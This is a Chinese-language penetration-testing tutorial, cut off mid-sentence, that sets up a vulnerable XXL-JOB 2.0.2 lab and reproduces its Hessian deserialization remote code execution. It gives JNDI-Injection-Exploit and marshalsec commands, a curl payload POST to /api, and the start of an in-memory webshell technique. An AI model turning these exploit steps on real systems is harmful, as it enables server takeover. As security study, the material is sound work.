一、前言
在当今的数字化时代,任务调度平台对于企业级应用来说至关重要。它们负责自动化和协调各种时间敏感或周期性的任务,确保业务流程的顺畅运行。XXL-JOB作为一款流行的分布式任务调度平台,因其强大的功能和易用性,被广泛部署在各种规模的系统中。然而,随着其应用的普及,安全研究人员开始关注这些系统可能存在的潜在风险,一个漏洞的发现可能会导致数据泄露、服务中断甚至整个系统被控制。对于渗透测试人员来说,学习XXL-JOB的漏洞原理,能够在一定程度上提升渗透能力。
本篇文章旨在详细介绍XXL-JOB平台中已被发现的一些关键漏洞,以及这些漏洞可能被利用的方式。
二、XXL-JOB简介
2.1 概述
XXL-JOB是一个开源的分布式任务调度平台,设计宗旨是实现任务的快速开发、简易学习和轻量级部署,同时具备良好的扩展性。该平台由调度中心和管理执行器的两部分组成,它们通过网络进行通信,实现任务的调度和执行。调度中心负责任务的发起和调度策略的配置,而执行器则负责接收任务请求并执行具体的业务逻辑。
通俗的来说,XXL-JOB就像一个超级强大的闹钟,但它不仅仅能设定固定的时间响铃,还能根据复杂的规则和条件来触发任务。想象一下,你有一个任务需要每天早上8点执行,另外一个任务需要在每月的第1天晚上12点执行,还有任务是基于某些特定事件触发的,比如数据库中的数据达到一定量时。
2.2 特点
XXL-JOB就像一个智能助手,它可以帮你设定这些任务,并且确保它们在正确的时间得到执行。它有以下几个关键特点:
-
容器化:提供官方docker镜像,并实时更新推送dockerhub,进一步实现产品开箱即用。
-
脚本任务:支持以GLUE模式开发和运行脚本任务,包括Shell、Python、NodeJS、PHP、PowerShell等类型脚本。
-
动态:支持动态修改任务状态、启动/停止任务,以及终止运行中任务,即时生效。
-
Rolling实时日志:支持在线查看调度结果,并且支持以Rolling方式实时查看执行器输出的完整的执行日志。
三、XXL-JOB搭建
搭建可参考官方文档:
源码结构:
Plain Text
xxl-job-admin:调度中心
xxl-job-core:公共依赖
xxl-job-executor-samples:执行器Sample示例(选择合适的版本执行器,可直接使用,也可以参考其并将现有项目改造成执行器)
:xxl-job-executor-sample-springboot:Springboot版本,通过Springboot管理执行器,推荐这种方式;
:xxl-job-executor-sample-frameless:无框架版本;
这里我采用docker进行搭建,可参考:基于docker的分布式任务调度系统xxl-job搭建,注意这里我们搭建有漏洞的版本,我这里搭建的是2.0.2版本。
docker启动涉及到的命令如下:
Bash
# 安装mysql
docker pull mysql
# 启动mysql
docker run -e MYSQL_ROOT_PASSWORD=123456 -p 3306:3306 -v /opt:/opt mysql --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci
# 修改密码
ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';
# 刷新权限
flush privileges;
# 创建数据库
CREATE database if NOT EXISTS xxl_job default character set utf8 collate utf8_general_ci;
# 导入sql文件
source /opt/xxl-job-2.4.0/doc/db/tables_xxl_job.sql;
# 下载镜像
docker pull xuxueli/xxl-job-admin:2.0.2
# 启动镜像
docker run -e PARAMS="--spring.datasource.url=jdbc:mysql://192.168.2.198:3306/xxl_job?Unicode=true&characterEncoding=UTF-8 --spring.datasource.username=root --spring.datasource.password=123456" -p 8080:8080 -v /tmp:/data/applogs --name xxl-job-admin xuxueli/xxl-job-admin:2.0.2
搭建成功,显示如下:
访问 http://ip:port/xxl-job-admin/
四、XXL-JOB漏洞复现与分析
4.1 默认口令
4.2 Hessian反序列化
4.2.1 漏洞复现
4.2.1.1 出网利用
影响版本:XXL-JOB <= 2.0.2
漏洞原理:/api接口存在Hessian2反序列化漏洞
漏洞复现:
访问/api接口存在如下报错响应,则存在漏洞。
这里测试使用的是jdk11,所以需要bypass高版本的限制,这里启动JNDI服务:
Bash
# 工具地址:https://github.com/welk1n/JNDI-Injection-Exploit,可bypass jdk高本版限制
java -jar JNDI-Injection-Exploit-1.0-welk1n.jar -A 0.0.0.0 -C "ping xmm0yh.dnslog.cn"
生成恶意序列化数据:
Bash
# 工具地址:https://github.com/mbechler/marshalsec,有Hessian的利用链
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/kt17tn > 1.ser
burp发送有问题,这里使用curl发送:
Bash
curl -XPOST --data-binary @1.ser http://192.168.2.132:8080/xxl-job-admin/api -H "Content-Type: x-application/hessian"
命令执行成功:
4.2.1.2 不出网利用
通过jdk原生 SwingLazyValue利用链,可以达到反射调用静态方法。测试jdk1.8成功,jdk9版本开始,删除了rt.jar,下面测试注入内存马。
方式一:defineClass加载字节码
调用Unsafe#defineClass方法来加载字节码,实现内存马注入,使用JMG工具(GitHub - pen4uin/java-memshell-generator: 一款支持自定义的 Java 内存马生成工具|A customizable Java in-memory webshell generation tool.)生成内存马,代码参考:探寻Hessian JDK原生反序列化不出网的任意代码执行利用链 – Whwlsfb's Tech Blog
代码需要修改的地方有:
-
bcode的值为生成的BASE64格式的内存